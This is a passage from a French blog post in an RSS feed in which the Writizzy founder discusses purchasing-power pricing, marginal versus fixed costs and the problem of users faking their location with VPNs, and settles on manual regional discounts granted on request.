<p>Au passage, si vous ne le saviez pas, c&#39;est ce qui explique en partie le succès des VPN, avec un VPN, il est possible de payer moins cher certains services en allant se connecter depuis certains endroits.
Attention, je suis pas en train de vous dire de le faire, d&#39;autant que la plupart de ces services sont en guerre contre ce genre de pratique et font la chasse aux VPN.</p>
<h2>Et les coûts de production ?</h2>
<p>Une question peut se poser naturellement, certes le pouvoir d&#39;achat de mon acheteur entre en jeu, mais moi-même, j&#39;ai un coût de production.</p>
<p>Je paie mes serveurs en euros, sur le coût de l&#39;énergie européen. J&#39;ai besoin de me payer moi-même, donc est-ce que je peux vraiment baisser mes prix pour l&#39;Indonésie ?</p>
<p>Déjà, il faut différencier deux types de coûts :</p>
<ul>
<li>les coûts fixes, c&#39;est ce que je paie dans tous les cas, le temps de dev, le nom de domaine etc...</li>
<li>les coûts variables (ou coûts marginaux), c&#39;est le coût lié à l&#39;usage, au nombre d&#39;utilisateurs, le stockage, les appels API s&#39;ils sont comptés au volume de données échangées, le nombre d&#39;emails envoyés etc...</li>
</ul>
<p>L&#39;objectif, c&#39;est de gagner de l&#39;argent (ou au moins de ne pas en perdre) sur le coût marginal. Il ne faut pas qu&#39;un utilisateur coûte plus cher que les coûts variables.
Et après, il faut suffisamment d&#39;utilisateurs pour payer les coûts fixes.</p>
<p>Quand on lance une boîte, les coûts fixes sont largement surreprésentés dans l&#39;équation donc effectivement ça paraît étrange de baisser ses prix. Mais il faut ici raisonner en coût marginal.
Avoir 1 000 utilisateurs français à 10€ contre 5 000 utilisateurs en Indonésie à 3€, eh bien en fait c&#39;est plus rentable (10 000 euros vs 15 000€). Et évidemment dans un monde idéal il faut les deux.</p>
<h2>Le problème du VPN tourist</h2>
<p>Une question assez évidente se pose, comment éviter que tout le monde se connecte avec un VPN indonésien pour payer moins cher. Ou dit autrement, comment vérifier le lieu de résidence des gens ?</p>
<p>Parce que si demain, tous les utilisateurs français se connectent avec un VPN pour payer 3 euros/mois, le modèle économique peut avoir du mal à tenir. Et c&#39;est encore plus vrai pour une entreprise dont les coûts marginaux incluent le marketing, marketing qui est relativement bien plus cher en France qu&#39;en Indonésie pour le même résultat.</p>
<p>Il y a des solutions techniques :</p>
<ul>
<li>le pays d&#39;émission de la CB</li>
<li>l&#39;adresse IP (il est possible aussi d&#39;identifier les principaux providers VPN)</li>
<li>demander une preuve d&#39;identité (je déconseille <strong>très fort</strong> et personne ne filera son passeport pour 10€/mois)</li>
</ul>
<p>Et puis il y a une autre solution : &quot;on s&#39;en fout un peu&quot;, parce qu&#39;on peut accepter qu&#39;il y aura quelques tricheurs mais aussi se dire que la grande majorité ne se fera pas chier à prendre un VPN et l&#39;utiliser pour essayer de tricher pour ce montant.</p>
<p>Et à l&#39;inverse, se dire que le coût du contrôle peut faire augmenter les couts variables et rendre l&#39;équation moins rentable.</p>
<h2>Mise en place sur Writizzy ?</h2>
<p>Avec tout ce que j&#39;ai dit, moi c&#39;est le côté accès équitable qui me parle le plus. Je considère que tout le monde doit pouvoir facilement accéder au service. Donc on va le mettre en place, mais on va limiter le coût de dev de cette feature.</p>
<p>Parce que mine de rien, ça peut coûter cher d&#39;implémenter tout un système de calcul de prix en fonction de la géographie etc.. Et ça coûte cher aussi de passer par un service externe.</p>
<p>J&#39;ai trouvé un calculateur en ligne qui nous propose un prix cohérent par pays.
Donc, on va faire ça manuellement, sur demande, pour les utilisateurs qui nous enverront un email. Ce sera documenté, que ce soit ici par cet article de blog ou sur la documentation.</p>
]]></content:encoded>
            <category>writizzy</category>
            <enclosure url="https://writizzy.b-cdn.net/blogs/3d2c312a-df80-4b93-b164-0dfd3902f0f8/media/1772179385555-cover.jpg" length="0" type="image/jpg"/>
        </item>
    </channel>
</rss>